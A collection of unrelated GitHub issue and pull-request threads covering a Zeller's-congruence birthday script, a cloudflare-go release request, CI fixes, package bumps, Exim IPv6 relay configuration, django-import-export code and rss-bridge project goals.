mrvnmchm@M3-Q-X70-A:/some_folder/AllAlg/python$ python math/zellers_birthday.py '01/04/1989'
Your birthday 01/04/1989, was a Wednesday!

>>> import zellers_birthday as z
>>> z.zeller('10/10/2018')
Your birthday 10/10/2018, was a Wednesday!
>>> z.zeller('04-23-1991')
Your birthday 04-23-1991, was a Tuesday!
>>> z.zeller('01-31-1976')
Your birthday 01-31-1976, was a Saturday!


New release

Current cloudflare-go version
0.37.0
Description
The newest commits that landed it's way into master this week would be really nice to have in a new release of the go api. In particular, my team would love to start using https://github.com/cloudflare/cloudflare-go/pull/858
Use cases
We want to be able to terraform http_log_custom_fields. After a new version of https://github.com/cloudflare/cloudflare-go is released, we would be able to update https://github.com/cloudflare/terraform-provider-cloudflare pointing at the new version of the go api.
Potential cloudflare-go usage
Used via existing Terraform resources

References
No response

cc @jacobbednarz

Releases are fortnightly unless we have security fixes. Please see the last release to estimate the next release.


[Reactjs] Use Advanced JavaScript in React Render Method.

Proposal Submission
Proposed title of article
[Reactjs] Use Advanced JavaScript in React Render Method.
Proposed article introduction
IMPORTANT NOTE: The code and examples have been tested and work with the latest versions of React.
I recently was going through react tutorials and noticed something, most React code has minimal use of advanced JavaScript. Through the use of if-else statements and conditions such as && lot can be achieved while rendering components, From choosing the data to be rendered at specific times of the day to eye catching front-end design achievements can all be attained.
At first, I was not using advanced JavaScript in my web apps but know through this knowledge that am passing down to you I have confidence in React and I hope  by the end you will also be, lets get coding.
Key takeaways
1 Render With an If-Else Condition.
2 Use a Ternary Expression for Conditional Rendering.
3 Use && for a More Concise Conditional.
4 Render Conditionally from Props.
5 Use Array.map() to Dynamically Render Elements.
6 Render React on the Server with renderToString.
Article quality
The content contained in the article, can be easily consumed by  newbies and as reference by experienced React developers.
References
 React in depth

Hi @unholydisaster
This sounds like a great article that has great value to readers. Please go over grammar and writing style to improve on the article. Otherwise, topic approved. 🚀

Hey, https://github.com/section-engineering-education/engineering-education/pull/6744
#6744 opened 13 hours ago by unholydisaster
16 tasks


Property assignment operator

Not sure if this is the right place to mention this, but could this proposal include a property assignment operator such as .= that would assign the value of an object using the name of the variable as the key for the property to update:
given
let objectWithProperty = { property: 'originalValue' }

you could
let property = 'newValue'
objectWithProperty .= property
console.log(objectWithProperty.property) // newValue

Could you append/reset to an pre-existing object using .=?

I would think it doesn't, much in the same way i++ wouldn't work unless i was already defined.
I really only thought of this suggestion as a shorthand for
objectWithProperty.property = property

This suggestion seems like a different proposal.

Yah, this is very different than logical assignment.


HDDS-11718. Some CI checks passing despite error

What changes were proposed in this pull request?
Background:

CI checks collect problems that caused the failure into a report file (usually summary.txt).  This file is shown in the jobs' Summary of failures step.
Checks are marked as failed if the report file is not empty.
There may be failures that affect the check, but are not specific to its validation.  E.g. findbugs may fail due to compile error.  This is not reflected in the report file, so the check may be passing despite compile errors.

On current master, SCM cannot exit safe mode in Kubernetes check:
100 'grep_log scm-0 SCM exiting safe mode.' is failed...

due to datanode startup failure:
RuntimeException: Failed to set directory permissions for /data: /data: Operation not permitted
	at org.apache.hadoop.hdds.server.ServerUtils.getDirectoryFromConfig(ServerUtils.java:188)
	at org.apache.hadoop.hdds.utils.db.DBDefinition.getDBLocation(DBDefinition.java:58)
	at org.apache.hadoop.hdds.utils.db.DBStoreBuilder.getDBDirPath(DBStoreBuilder.java:169)
	at org.apache.hadoop.ozone.container.metadata.WitnessedContainerMetadataStoreImpl.get(WitnessedContainerMetadataStoreImpl.java:45)
	at org.apache.hadoop.ozone.container.ozoneimpl.OzoneContainer.<init>(OzoneContainer.java:192)
	at org.apache.hadoop.ozone.container.common.statemachine.DatanodeStateMachine.<init>(DatanodeStateMachine.java:183)
	at org.apache.hadoop.ozone.HddsDatanodeService.start(HddsDatanodeService.java:297)

which was introduced in HDDS-11650, but went unnoticed due to the false "passing" status.
This change ensures that check status reflects errors:

Add common post-processing step in check scripts to make sure summary.txt is not left empty if any failures are encountered.
Remove continue-on-error from main step of checks.  Previously this was needed to make GitHub UI auto-open the Summary of failures step instead of Execute tests.

It also fixes the permission problem in kubernetes check (e09ba8f228838f15f857b5fcf0e667abfc91d34b).
https://issues.apache.org/jira/browse/HDDS-11718
How was this patch tested?
Verified that kubernetes check is failing before applying the fix for the permission problem:
https://github.com/adoroszlai/ozone/actions/runs/12012294888/job/33484088312
(Note: summary only says "Unknown failure, check output.log", because logs are not collected.  This will be improved for kubernetes check in HDDS-11801.)
Temporarily introduced compile error, verified findbugsfails (so do build and checkstyle):
https://github.com/adoroszlai/ozone/actions/runs/12012941631/job/33485335513
Verified logs in regular CI to confirm passing state is correct:
https://github.com/adoroszlai/ozone/actions/runs/12012816442
E.g. Kubernetes:
2024-11-25 15:19:38 INFO  SCMSafeModeManager:248 - SCM exiting safe mode.
...
Basic Freon smoketest                                                 | PASS |
...

Thanks @sadanand48 for the review, patch is updated.

Thanks @sadanand48 for the review.


Transform copying static assets

Need to have an ability to transform the assets specified in the copy object. For example, I have a set of images that I'd like to be able to optimize based on file extension, file path, etc. Currently, there's no way to do it.

:+1: love the idea! If you have time I'd accept a PR

This would be amazing for imagemin on copied images


Truncated digit

In the screenshot below, the digit '9' in the text '1 of 9' is truncated on the right by 1px or 2px.

Also, I find that the text in the modal is blurred. Am I the only one that sees text in modals as much less crisp than the rest?

Which OS are you on @JustinDrake?

Mac OS 10.10.5

The blurred text issue should be fixed in #400. We'll be deploying it to master at some point today.

Fixed


[Installer] Observed no console logs when run the rpm intaller using Fedora

Description:
As $subject, see the image

Suggestion: good to include any console logs

Steps to reproduce:
rpm --install <installer.rpm>
Affected Versions:
OS, DB, other environment details and versions:
Fedora24
jdk 1.8.0_161
ballerina-0.970.0.alpha1.SNAPSHOT-1.el7.x86_64.rpm
Suggested Labels (optional):
Type/improvement
Priority/High
Severity/Major

AFAIU those logs are from dpkg package manager and not from the deb installer.


need for isNotDisplayed() function

isDisplayed() in GuiElementCoreSequenceDecorator uses 1s sequence, which means that it takes always up to 1s to get false as an expected result.
In our tests I use it often to check if wait-spinners are hidden, we have up to 8 of them, so every check costs us up to 8s making our tests nearly 5 times slower in overall measurement.
Option 1: Pls. add isNotDisplayed() function (or similar) that will end immediately if element is not displayed.
Option 2: Pls. add to all functions returning boolean value an boolean expectedResult parameter (ideally as first one). If expected result is met, function should return immediately.

Option 1: asserts().assertIsNotDisplayed(): https://docs.testerra.io/testerra/stable/index.html#_functional_asserts
Option 2: I don't unterstand this requirement, but Testerra 2 may fit your needs here by using assert().display(boolean): https://docs.testerra.io/testerra/2.0-RC-11/index.html#_checks

I could replace isDisplayed() with asserts().assertIsNotDisplayed() , it works better now.


Add hyperv to windows image

Also adds an example user data file to reenable rdp

@cevich here you go^

@cevich  looks like the windows build worked

Thanks Jason.  I need to circle around WRT a crun package in the Fedora rawhide images.  Assuming that aligns, I'll merge this and put it to use.


Show container errors

Dev mode should display an error when a container fails to start, including the reason for the container failure, and then should exit immediately afterward.

Maybe we can run in detached mode and find a way to capture the output stream. We'd have to investigate the docker docs. Or we could run with it in the foreground and in another thread run docker ps and look for the container with the tag name we gave it then capture the container id. I think we only need the id to stop it later so we could just ctrl-c sigterm the process we're following. But do we really want the container output to show? It is the server console.

For normal dev mode, we run the server in the foreground specifically so that the server output is shown (which helps when you are doing development and want to quickly look for server messages).  For container, we would want that to be the case as well.

If we execute the docker run in a separate thread and keep the output going to devmode's output then our separate thread is starting to look like the ant.ServerTask object that we currently use. Can we leverage that?

That is possible.  We already keep track of a serverThread which holds on to a serverTask for the normal case.  For the container case, we can use the same serverThread and either hold on to a containerized equivalent of serverTask, or just hold on to the Process directly.  I think the latter may be simpler to implement.

Fixed


nbd: 3.14 -> 3.17

remove deprecated patch
Motivation for this change
Things done

[ ] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS)
Built on platform(s)

[x] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nox --run "nox-review wip"
[x] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[x] Fits CONTRIBUTING.md.

@GrahamcOfBorg  build nbd

Success on aarch64-linux (full log)
Attempted: nbd
Partial log (click to expand)
shrinking /nix/store/f6kxjqx3gimrgags2wwzv2c3vxzcwi9a-nbd-3.17/sbin/nbd-client
shrinking /nix/store/f6kxjqx3gimrgags2wwzv2c3vxzcwi9a-nbd-3.17/bin/nbd-trdump
shrinking /nix/store/f6kxjqx3gimrgags2wwzv2c3vxzcwi9a-nbd-3.17/bin/nbd-server
gzipping man pages under /nix/store/f6kxjqx3gimrgags2wwzv2c3vxzcwi9a-nbd-3.17/share/man/
strip is /nix/store/0pjsgkxz0rp5baycq5sp2s72lrr5q9sg-binutils-2.30/bin/strip
stripping (with command strip and flags -S) in /nix/store/f6kxjqx3gimrgags2wwzv2c3vxzcwi9a-nbd-3.17/bin  /nix/store/f6kxjqx3gimrgags2wwzv2c3vxzcwi9a-nbd-3.17/sbin
patching script interpreter paths in /nix/store/f6kxjqx3gimrgags2wwzv2c3vxzcwi9a-nbd-3.17
checking for references to /build in /nix/store/f6kxjqx3gimrgags2wwzv2c3vxzcwi9a-nbd-3.17...
moving /nix/store/f6kxjqx3gimrgags2wwzv2c3vxzcwi9a-nbd-3.17/sbin/* to /nix/store/f6kxjqx3gimrgags2wwzv2c3vxzcwi9a-nbd-3.17/bin
/nix/store/f6kxjqx3gimrgags2wwzv2c3vxzcwi9a-nbd-3.17

Success on x86_64-linux (full log)
Attempted: nbd
Partial log (click to expand)
shrinking /nix/store/68fashyh29in7dl6l6m5favz1pzl967n-nbd-3.17/bin/nbd-server
shrinking /nix/store/68fashyh29in7dl6l6m5favz1pzl967n-nbd-3.17/bin/nbd-trdump
shrinking /nix/store/68fashyh29in7dl6l6m5favz1pzl967n-nbd-3.17/sbin/nbd-client
/nix/store/68fashyh29in7dl6l6m5favz1pzl967n-nbd-3.17
gzipping man pages under /nix/store/68fashyh29in7dl6l6m5favz1pzl967n-nbd-3.17/share/man/
strip is /nix/store/4qvrxzxa535y8304mk195x50b6p9607d-binutils-2.30/bin/strip
stripping (with command strip and flags -S) in /nix/store/68fashyh29in7dl6l6m5favz1pzl967n-nbd-3.17/bin  /nix/store/68fashyh29in7dl6l6m5favz1pzl967n-nbd-3.17/sbin
patching script interpreter paths in /nix/store/68fashyh29in7dl6l6m5favz1pzl967n-nbd-3.17
checking for references to /build in /nix/store/68fashyh29in7dl6l6m5favz1pzl967n-nbd-3.17...
moving /nix/store/68fashyh29in7dl6l6m5favz1pzl967n-nbd-3.17/sbin/* to /nix/store/68fashyh29in7dl6l6m5favz1pzl967n-nbd-3.17/bin

No attempt on x86_64-darwin (full log)
The following builds were skipped because they don't evaluate on x86_64-darwin: nbd
Partial log (click to expand)

a) For `nixos-rebuild` you can set
  { nixpkgs.config.allowUnsupportedSystem = true; }
in configuration.nix to override this.

b) For `nix-env`, `nix-build`, `nix-shell` or any other Nix command you can add
  { allowUnsupportedSystem = true; }
to ~/.config/nixpkgs/config.nix.

/cc @peti


Show the main paper, not the supplementary materials: Improve articles 2107.01510 and 2110.07698 etc.

Exact location of issue
Everywhere. The wrong latex file is being shown.
Problem details
ArXiv handels supplementary materials by compiling them and concatenating them at the end of the main PDF (as determined by toplevelfile in the 00README.XXX file.
Currently, Ar5iv does not seem to care about a 00README.XXX file, and (at least for the following examples) compiles only the supplementary materials and presents it as the main paper.
Examples:

2107.01510  on ArXiv vs Ar5iv
2110.07698 on Arxiv vs Ar5iv

Expected behavior
At a minimum, if there is a  00README.XXX file that has a toplevelfile declared, ar5iv should try compiling that and leave everything else ignored.
At best it should also compile all other LaTeX files and other text file that are not ignored, either by 00README.XXX or by having %auto-ignore as the first line, and finally present them at the end of the main file after the references.

Really happy to see this report, I was not at all familiar with the 00README.XXX convention. Should be easy to fix!

I am happy to report 00README.XXX is now supported, and the articles contain their main texts.
They don't convert perfectly yet, but we can close this issue - feel free to open new issues for additional problems!


Deprecated methods only appear so when using Javadoc style comments

Looking at some deprecated methods in our code base and noticed that most don't show as such in the suggestions.  Two thoughts that I think would make this feature more useful for legacy codebases:

Using the @Deprecated. annotation by itself has no effect.  Appears the JsonDocumentation function of PCT doesn't write a "comments" node in the JSON in this case, and for whatever reason this means VSCode doesn't see it.
Comments of the StandardCommentBlock style don't get picked up.  I know these are really meant for the HTMLDocumentation, but perhaps they should be counted as Javadoc comments too since they're similar?  It would be a pain for us to update our whole codebase to change the comment style.  Adding an option to include the /*---- style comments in Javadocs would be awesome.

The StandardCommentBlock is linked from JsonDocumentation, so it seems maybe there was some intention to include these at some point.

Screenshot
Only method4 shows as deprecated.  See the code below.  I'd really want to see methods2-5 all show as deprecated and only method1 is not.

Sample Code
class testme.DeprecatedMethods :

  method public void method1 () :
    //No code - not deprecated
  end method.

  @Deprecated.
  method public void method2 () :
    //No code - deprecated but doesn't show as such in VSCode
  end method.

  @Deprecated(since="2023.09.01",message="testing deprecated method in VSCode").
  method public void method3 () :
    //No code - deprecated by doesn't show as such in VSCode
  end method.

  /**
  Purpose: test deprecation4
  */
  @Deprecated.
  method public void method4 () :
    //No code - this does show as deprecated because it has a JAVADOC style comment
  end method.

  /*------------------------------------------------------------------------------
    Purpose:
    Notes:
    @param parameter1 Description
    @return
    @deprecated
  ------------------------------------------------------------------------------*/
  @Deprecated.
  method public void method5 () :
    //No code - this does not show as deprecated because the StandardCommentBlock is not a JAVADOC style
  end method.

end class.

I'll do some tests, thank you for raising the issue.

Cool, thanks.  Let me know if you need more samples or anything.  I wrote up a bunch, but the ones I posted here get across the idea succinctly.

Fixed !

Looks great in the new version.  Thanks


add ipv6 addresses to dc_relay_nets

Previously, this added all connected ipv4 networks to enable relaying for all
direclty connected hosts, but if a host would connect through an ipv6-enabled
network and actually uses an ipv6 connection, relay would suddenly be denied.
This commit also includes all ipv6 addresses, just like ipv4 addresses. Note
that Exim uses : as a separator between entries in this list, so any : inside
the ipv6 address must be doubled.
This also adds scope global to the ip address show command, to prevent also
picking up link-local addresses. This should not normally affect the ipv4
address, since those are normally global scope anyway.

Note that enabling ipv6 on docker is not as trivial as it should be currently. It might be a matter of switching on ipv6 on the default network, but I have a more complicated setup with different networks with static ipv6 configuration, so I can't quickly give you details on how to reproduce this issue.
However, I can show you how the ip addr output looks on my smtp docker instance:
root@4ec6869d6468:/# ip address show eth0
443: eth0@if444: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:ac:50:03:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet <IP_ADDRESS>/24 brd <IP_ADDRESS> scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fd00:dead:beef:3::2/64 scope global nodad
       valid_lft forever preferred_lft forever
    inet6 fe80::42:acff:fe50:302/64 scope link
       valid_lft forever preferred_lft forever
root@4ec6869d6468:/# cat /etc/exim4/update-exim4.conf.conf |grep relay_net
dc_relay_nets='<IP_ADDRESS>/24:fd00::dead::beef::3::::2/64'


Fix lifetimes

What does this PR do?
Fixes some lifetimes.
Also makes some things Cow<str> that were previously some other kind of string.
Motivation
Frankly, I'm not not sure why tags worked. I can see 'static -> 'a, but
it appears we were going from 'a -> 'static? How was this not an error?
How to test the change?
Fix the breaks in agentless and maybe one or two other places and then everything should work as before.

A Cow<str> is a clone-on-write string, but that mindset is a bit misleading, IMO. Think of it differently: it either borrows data from some &str, or it owns a String. That's the value here, and in most cases that I've seen Cow used. So, if I have a string literal for the family like "php", I don't have to heap-allocate it -- I can borrow it, as long as it outlives the exporter, saving some heap allocations + copies.
With that said, I discovered a hiccup in my work for the next PR. Consider something like Vec<Tag<'a>> and then clone it. Even those the values were all cloned and in practice the clone no longer borrows anything from the original, there doesn't seem to be a way to express that the lifetime has been severed. This means the clone cannot outlive the original data, even though it should be able to.
I'm not quite sure what the workaround is yet, but I think it might be using Tag<'static>. This means it either borrows static data, or it clones it. This is almost the state of what we were doing before this PR, so I need to re-examine this.

I think I get what you're saying about the mindset. It's not about mutation, it's about stating that the Cow<str> can be "copied" without needing to also copy the underlying string.

I'm closing this one. Something needs done but right now the fixes are way too integrated with my proposed changes to nicely extract, because I only found the issues at the very end :/


Add my school wcc

file.5.zip

@DEL630 file I am sorry, I have to close the request without merging, because you made a mistake in a request and did not specify any filepath. Please ensure that you are familiar with this repository rules located at the bottom of this page and make a new correct request. Thank you for your understanding!

@DEL630 There are several files in the request, along with file.zip. It must not be there. Please remove file.zip and make pull request again.  I have to close this request without merging. Thank you for your understanding.

Hello again,  I do not understand how I should upload the zip to renew my jetbrains license,  could you help me with that?
Sent from my T-Mobile 5G Device
Get Outlook for Androidhttps://aka.ms/AAb9ysg

From: Philip Torchinsky @.>
Sent: Sunday, September 8, 2024 8:57:31 AM
To: JetBrains/swot @.>
Cc: Delfirio Perez Cruz @.>; Mention @.>
Subject: Re: [JetBrains/swot] Add my school wcc (PR #23322)
(Reminder) This email is from a Non-WCC email address. Do not open links or attachments you are not expecting. For more information related to properly inspecting email go to: https://www.sunywcc.edu/phishing
@DEL630https://github.com/DEL630 file I am sorry, I have to close the request without merging, because you made a mistake in a request and did not specify any filepath. Please ensure that you are familiar with this repository rules located at the bottom of this pagehttps://github.com/JetBrains/swot and make a new correct request. Thank you for your understanding!
—
Reply to this email directly, view it on GitHubhttps://github.com/JetBrains/swot/pull/23322#issuecomment-2336676887, or unsubscribehttps://github.com/notifications/unsubscribe-auth/BLC4NXYV35CGY2IXW5RGVGDZVRCTXAVCNFSM6AAAAABN2XJZGSVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDGMZWGY3TMOBYG4.
You are receiving this because you were mentioned.Message ID: @.***>


Add missing 'use strict'

And be sure to test with node versions < 6 afterwards.

Fixed in 1.0.1.


Fix Failing CI Builds

Cookbook version
v1.0.5/master
Chef-client version
14.4.7
Platform Details
Travis-CI
Steps to Reproduce:
Running master on Travis-CI
Expected Result:
CI builds show be passing.
Actual Result:
Builds are failing on Travis-CI

Do you plan to add unit testing in CI jobs? This is missing, all I had to do is to install required dependencies, in Gemfile:
group :integration do
  gem 'berkshelf'
  gem 'chefspec'
end

For actual failure, I think kitchen verify on ossec service fails because it is tested inside a docker container. (Testing service status in docker is always painful..)


Issue with examples/pointnet2_part_seg.py

❓ Questions & Help

Hi,
I was running the pointnet++ part segmentation example with catergory=None (according to https://github.com/rusty1s/pytorch_geometric/pull/359). However, I find the performance to be unusually high (much higher than reported values, https://arxiv.org/pdf/1801.07791.pdf, supplementary page 3 for pointnet++). Am I interpreting the results in the wrong way or is there some bug in the evaluation code?
Thanks!

Ah, this looks like a bug in the iou computation when not all classes are present in a mini-batch. I will look into it.

Should be fixed in master. You need to recreate ShapeNet dataset in order to test. Sorry for the inconveniences!

Thank you so much for the quick response.


the sound is muted and some parts of the video do not work

After downloading certain parts and scenes of the videos, the sound is muted and some parts of the video do not work, not the entire video, even though they work on YouTube without any problems. Please fix the issue. Thank you.

What video, and what settings are you using?

What video, and what settings are you using?

I need the video you tried to download too

I need the video you tried to download too

When downloading an entire playlist at once from YouTube.
But when downloading a single video, there are no problems.

I am having this same issue, some videos in playlists will have no audio. For the following playlist, roughly half the videos came out with no audio, while the other half came out fine. The videos that came out with no audio were Minecraft Sucks, Halo vs Dinosaurs, and Shitty Werewolf.

Open the videos with VLC, its most likely the default media player on windows doesn't support opus audio which youtube uses a lot

Open the videos with VLC, its most likely the default media player on windows doesn't support opus audio which youtube uses a lot

Thank you, this worked. Downloading them as mkv also worked, for any others finding this looking for a solution.


New Boards Hub is breaking the extension

When the New Boards Hub is turned on, the multivalue extension is not rendering on work items.

Hi, thanks for reporting, it will be fixed in an upcoming release.

Hello,
We have availability on the following times (EST):
Wed 10/11:  11:00 am and 3:00 pm
Thursday 10/12:  2:00 pm, 3:00 – 4:30 pm
Thank you,
Toya Williams  (she/her/hers)
Senior Manager, Tools and Innovation
Applications Development
M   +1(704) 674-8484
[Logo  Description automatically generated]
From: AminTi @.>
Sent: Tuesday, October 10, 2023 11:24 AM
To: microsoft/vsts-extension-multivalue-control @.>
Cc: Toya Williams @.>; Author @.>
Subject: Re: [microsoft/vsts-extension-multivalue-control] New Boards Hub is breaking the extension (Issue #273)
I was unable to reproduce the issue. Are you available for a web session, or could you please provide a description of your environment? — Reply to this email directly, view it on GitHub [github. com], or unsubscribe [github. com]. You are
ZjQcmQRYFpfptBannerStart
This Message Is From an External Sender
This message came from outside your organization.
ZjQcmQRYFpfptBannerEnd
I was unable to reproduce the issue. Are you available for a web session, or could you please provide a description of your environment?
—
Reply to this email directly, view it on GitHub [github.com]https://urldefense.com/v3/__https:/github.com/microsoft/vsts-extension-multivalue-control/issues/273*issuecomment-1755683612__;Iw!!EaFwQfVEJhAZolrQq2b3eQ!TMw7BDNV6XtOik8EyEdmFKZfecZ4M8hOtu-F0_xcG7MoaW5TCZu9mqof0CHVahXpNA-pESD3DKh2A4r-bCNw2ZWkTR-xNVKvUZDfoQ$, or unsubscribe [github.com]https://urldefense.com/v3/__https:/github.com/notifications/unsubscribe-auth/AUCMZQLXXYCV4OCZE7YOU6TX6VSCBAVCNFSM6AAAAAA5UNRPGKVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMYTONJVGY4DGNRRGI__;!!EaFwQfVEJhAZolrQq2b3eQ!TMw7BDNV6XtOik8EyEdmFKZfecZ4M8hOtu-F0_xcG7MoaW5TCZu9mqof0CHVahXpNA-pESD3DKh2A4r-bCNw2ZWkTR-xNVJzl5Au9g$.
You are receiving this because you authored the thread.Message ID<EMAIL_ADDRESS>

https://github.com/microsoft/vsts-extension-multivalue-control/assets/84200641/624e44e1-4a27-4492-bcca-399b221b090d

https://github.com/microsoft/vsts-extension-multivalue-control/assets/84200641/fba2aa90-d27b-49de-a316-3098f6f91054

Hi, can you check if you get any errors in the browser console or network log?
you can add me on Teams so that we can schedule a meeting? If I cannot reproduce it, we can discuss the issue further.
<EMAIL_ADDRESS>

Hello,
I can add you on teams.  We have tried several options to fix it, it is still not working.
Toya Williams  (she/her/hers)
Senior Manager, Tools and Innovation
Applications Development
M   +1(704) 674-8484
[Logo  Description automatically generated]
From: AminTi @.>
Sent: Thursday, October 12, 2023 5:32 AM
To: microsoft/vsts-extension-multivalue-control @.>
Cc: Toya Williams @.>; State change @.>
Subject: Re: [microsoft/vsts-extension-multivalue-control] New Boards Hub is breaking the extension (Issue #273)
Hi, can you check if you get any errors in the browser console or network log? you can add me on Teams so that we can schedule a meeting? If I cannot reproduce it, we can discuss the issue further. amin. titi@ solidify. dev — Reply to this
ZjQcmQRYFpfptBannerStart
This Message Is From an External Sender
This message came from outside your organization.
ZjQcmQRYFpfptBannerEnd
Hi, can you check if you get any errors in the browser console or network log?
you can add me on Teams so that we can schedule a meeting? If I cannot reproduce it, we can discuss the issue further.
<EMAIL_ADDRESS>—
Reply to this email directly, view it on GitHub [github.com]https://urldefense.com/v3/__https:/github.com/microsoft/vsts-extension-multivalue-control/issues/273*issuecomment-1759263856__;Iw!!EaFwQfVEJhAZolrQq2b3eQ!RpO-D4ilBlHeRWZE3RhJNQ71aYO0AYDgfnn8CmBNjEaPjoSlaI-ldozn12jRuFeobhUYGV_ssXQ-fbQGH9tiVIBhAuAsvqP4NaRc9g$, or unsubscribe [github.com]https://urldefense.com/v3/__https:/github.com/notifications/unsubscribe-auth/AUCMZQMRZESSJWOB4QYJMDTX662ILANCNFSM6AAAAAA5UNRPGI__;!!EaFwQfVEJhAZolrQq2b3eQ!RpO-D4ilBlHeRWZE3RhJNQ71aYO0AYDgfnn8CmBNjEaPjoSlaI-ldozn12jRuFeobhUYGV_ssXQ-fbQGH9tiVIBhAuAsvqNGyA-MbQ$.
You are receiving this because you modified the open/close state.Message ID<EMAIL_ADDRESS>

I'm experiencing this issue as well. To reproduce, enable the "new boards hub" feature, then navigate to a backlog. Open the item in pop up view, and the control does not render. If you go to the dedicated page view of the work item, it works as expected. Disabled "new boards hub" fixes the normal pop up view.

Hello, I couldn't replicate the problem. If you're still experiencing the same issue, please reach out to me on Teams at [amin.titi<EMAIL_ADDRESS>


Add github workflow for publishing plugin

The current CI process is broken, since we constantly try to publish again with the same version number leading to failed builds. This is a test/attempt at creating a github workflow that is tied to published release tags.
Based on:
https://github.com/JetBrains/intellij-platform-plugin-template/blob/main/.github/workflows/release.yml

Sounds like a good idea but I'm afraid I don't totally understand how this works. Would this replace deployment via Travis? What will be version number and is it set manually or automatically. And is this triggered when we push git tags or when?

The idea is this:

Remove publishing from the Travis pipeline
We tag those version increment and change note commits with a prerelease tag
This workflow gets triggered and publishes to the test channel

I thought that it would be safest to test if this even works at all on the test channel, as I don't have much experience with GitHub actions :smile:


How to import related objects and their relationships.

When I import models like following:
class Category(models.Model):
   name = models.CharField(max_length=100, db_index=True)

class Subcategory(models.Model):
   name = models.CharField(max_length=100, db_index=True)
   slug = models.SlugField(max_length=200, db_index=True)
   category = models.ForeignKey(Category, blank=True)

class Product(models.Model):
   name = models.CharField(max_length=100)
   category = models.ForeignKey(Category, blank=True, null=True)
   subcategory = models.ForeignKey(Subcategory, blank=True, null=True)

Everything is imported thanks to ForeignKeyWidget, but how can I import relations when my csv file looks something like that:
id | product_name | category | subcategory
-- | T-Shirt A  | His | summer
-- | T-Shirt B  | Her | summer
?
As you see 'summer' subcategory name isn't unique and I need to set the proper relationship like:
'His' < 'summer' < 'T-Shirt A'
'Her' < 'summer' < 'T-Shirt A'
during import.
How can I achieve it?
I will be grateful for your help.

Hi @dg1980
check import workflow
One quick option could be to subclass import_obj() and set subcategory based on row value and instance category.

Dear @bmihelac
Thank you kindly for your help. I'll try to solve it based on your suggestion.

Could you give an example of code? (how to sublass Import_obj())
I am doing something wrong..

Dear @bmihelac,
I have tried to subclass import_obj() and I have following experiences with it:
if I try to do something like:
def import_obj(self, instance, row, dry_run):
        super(ProductResource, self).import_obj(instance, row, dry_run)
        instance.name = 'some_value'

product instance name is being overridden.
If I try to override instance.subcategory it returns an following exception:
Cannot assign "'some_value'": "Product.subcategory" must be a "Subcategory" instance.
So how to invoke "Subcategory" instance set subcategory.category to "some_value".
I will be grateful for your support.

@dg1980 in last line, you have both new instance and row with all passed values. Finding and assigning subcategory instance to product.subcategory should be easy from there.

I have solved this in my current project (for importing ManyToMany Values) with subclassing import_field and calling a clean_FOO method (adapted the code from dehydrate_FOO). Within the clean method (example here are ManyToMany fields disks and filesystems) you can get the correct subcategory or create the instance with Django's get_or_create method (Careful about the return values here).
class SpecResource(resources.ModelResource):

    disks = fields.Field(column_name='Disks')
    filesystems = fields.Field(column_name='Filesystems')

    class Meta:
	model = Spec
	exclude = []

    def import_field(self, field, obj, data):

	field_name = self.get_field_name(field)
	method = getattr(self, 'clean_%s' % field_name, None)
	if method is not None:
	    obj = method(field, obj, data)

        super(SpecResource, self).import_field(field, obj, data)

    def clean_disks(self, field, obj, data):

	disks = []
	cell = data[field.column_name]
	for e in cell.split(','):
	    e = e.strip().split('-')
	    if len(e) < 3:
	        continue
	    size, disk_type, quality = e
	    qualityi, created = StorageQuality.objects.get_or_create(quality=quality)
	    diski, created = Disk.objects.get_or_create(size=size, disk_type=disk_type, quality=qualityi)
	    disks.append(diski)
	obj.disks = disks
	return obj

    def clean_filesystems(self, field, obj, data):

	filesystems = []
	cell = data[field.column_name]
	for e in cell.split(','):
	    e = e.strip().split('-')
	    if len(e) < 3:
	        continue
	    mount, size, quality = e
	    qualityi, created = StorageQuality.objects.get_or_create(quality=quality)
	    filesystemi, created = Filesystem.objects.get_or_create(mount=mount, size=size, quality=qualityi)
	    filesystems.append(filesystemi)
	obj.filesystems = filesystems
	return obj

Dear @gthieleb,
thank you very much.


Project goals and their prioritization

The goal of this issue is to find out where we should place our efforts to maximally improve rss-bridge and its long-term survival and prosperity.
This is an issue in which we discuss midterm/longterm goals for the project and prioritize them.
An initial list from my memory:

Find a solution to anti-bot systems (e.g. cloudflare captcha/DataDome)
Bridge discovery from url (e.g. resolving http://twitter.com/foo to the correct bridge) (https://github.com/RSS-Bridge/rss-bridge/issues/2361)
Improve html sanitization (https://github.com/RSS-Bridge/rss-bridge/issues/2540)
Introduce a new document root to prevent direct access to files in the ./cache folder
Improved automatic detection of broken bridges
Attract more bridge maintainers so that bridges get repaired faster
make rss-bridge usable as a software library.
Improve DX (improve the developer experience of making and maintaining bridges)
Add feature to reconfigure an existing feed
Add some protections to instances with high traffic volume (to prevent being banned, throttled etc., internal rate limiter)

Inputs from the community is very much appreciated here.
Feel free to suggest more goals and better goal ordering.

Here is my preferred ordering:

(Same as 5 from first comment) Ideally, bridges would be able to define a list of tests themselves and exampleValue would be used as a last resort (Similar to #2280). For example, each of the language options in the Wikipedia Bridge tests a completely separate page with its own classes and ids, but only one is tested. I also think testing functionality should be part of the app as an action, rather than a separate script.
Improved documentation. The new site is a good start, but I think the theming and layout could be improved as well. There is also this project.
Organized global parameters. We currently have 2 global parameters: _noproxy and _cache_timeout, but there is support for others (show_enclosures, limit). There should be a more standard way of adding these.
(Same as 2 from first comment). Some bridges may only be possible to detect by actually getting the page, though I guess that could be implemented within detectParameters (examples: CachetBridge, WordPressBridge, FDroidRepoBridge).
(Same as 4.) This would also need some way to serve content
Bridge categories by language or feed content

I am fine with (1) and (3) from your list but not too interested in working on them.

One more goal: make rss-bridge usable as a software library. This means being able to install rss-bridge as a dependency on other software so that they can reuse some of rss-bridge features.

